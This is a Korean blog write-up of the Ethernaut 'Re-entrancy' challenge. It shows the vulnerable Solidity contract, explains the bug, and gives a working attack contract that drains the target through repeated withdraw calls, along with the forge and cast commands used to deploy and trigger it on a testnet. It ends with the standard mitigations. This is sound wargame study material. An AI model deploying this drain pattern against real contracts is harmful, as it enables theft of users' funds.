
그 유명한 재진입 공격을 구현한 문제다.
재진입 공격 자체는 이해한거 같은데 익스플로잇이랑 버전이슈등등 억까를 좀 당했다.
사실 나의 기본기 부족이 좀 큰거 같고 이해했는데 익스플로잇을 실패한건 내가 제대로 이해를 못했다는 것이기도 하다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import "openzeppelin-contracts-06/math/SafeMath.sol";
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
일단 코드다. 버전이 0.6이라 safemath를 import하고 있다. 이것때문에 애좀 먹었다.
donate함수는 이더를 기부하는 함수다. 주소마다 잔액을 더한다.
withdraw함수는 기부한 이더를 다시 가져오는 함수다. 잔액이 요청한 이더보다 많거나 같은지 검사한뒤 요청한 양을 전달을 해주고 잔액에서 준 양 만큼 차감한다.
msg.sender.call{value: _amount}("")를 호출했을 때 msg.sender의 fallback 함수가 호출이 되고 fallback함수에서 다시 withdraw함수를 호출한다 아직 잔액 차감이 안됐기 때문에 이더를 다시 빼올 수 있다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
contract Reentrance {
mapping(address => uint256) public balances;
function donate(address _to) public payable {
balances[_to] += msg.value;
}
function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
balances[msg.sender] -= _amount;
}
}
}
receive() external payable {}
}
safemath 라이브러리뺀 코드다. 저거 때문에 에러터지고 억까당해서 검색후 수정했다.
다른 방법도 있었겠지만 (인터페이스 등등) 그냥 깔끔하게 진행했다.
pragma solidity ^0.8.12;
import "../src/Re-entrancy.sol";
contract attack
{
Reentrance public target = Reentrance(payable(0xb1f3FDD2160D8b8FA48CD73E44703e928f846E1a));
function atk() payable public
{
target.donate{value: msg.value}(address(this));
target.withdraw(msg.value);
}
receive() external payable
{
if(address(target).balance != 0)
{
target.withdraw(0.001 ether);
}
}
}
배포하고 cast로 0.1이더 보내주면서 함수 호출해줬다.
forge create src/Re-entrancy_solv.sol:attack --rpc-url $RPC_URL --account Burnnnnny --broadcast
그리고 내 기억엔 --broadcast 인자 없어도 잘 테스트넷에 배포됐던거 같은데 foundry 업뎃하고 나서 --broadcast인자를 넣어줘야 배포가 되는거 같다. (아닐 수 도 있다.) 참고로 무튼 create로 배포할때 --broadcast를 넣자.
cast send 0x65E1a4D89d6218296F9da2Fc73dbc1a1b5Ce7911 "atk()" --value 100000000000000000 --account Burnnnnny --rpc-url $RPC_URL
Checks-Effects-Interactions패턴을 준수 하지 않았는데 잔액 차감(상태변화) 후 이더를 보내야 한다. 검사 후 업데이트는 중요하다.
ReentrancyGuard 라이브러리도 재진입 공격이 예방된다.
나중엔 리얼월드 블록체인에서 꼭 재진입 공격을 찾고 제보하고 보상을 받고 싶다.
참고 블로그
https://velog.io/@wooz3k/ethernaut-Re-entrancy
'블록체인' 카테고리의 다른 글
| [Ethernaut] (17 Recovery) (0) | 2025.03.14 |
|---|---|
| [Ethernaut] (11 Elevator) (0) | 2025.02.02 |
| [Ethernaut] (9 king) (0) | 2025.01.17 |
| [Ethernaut] (4 Telephone) (0) | 2025.01.04 |
| Testnet ETH 받는 방법 (0) | 2025.01.02 |
내가 보고 내가 참고하려고 만든 블로그
틀린 내용이 있다면 댓글로 알려주시면 감사하겠습니다.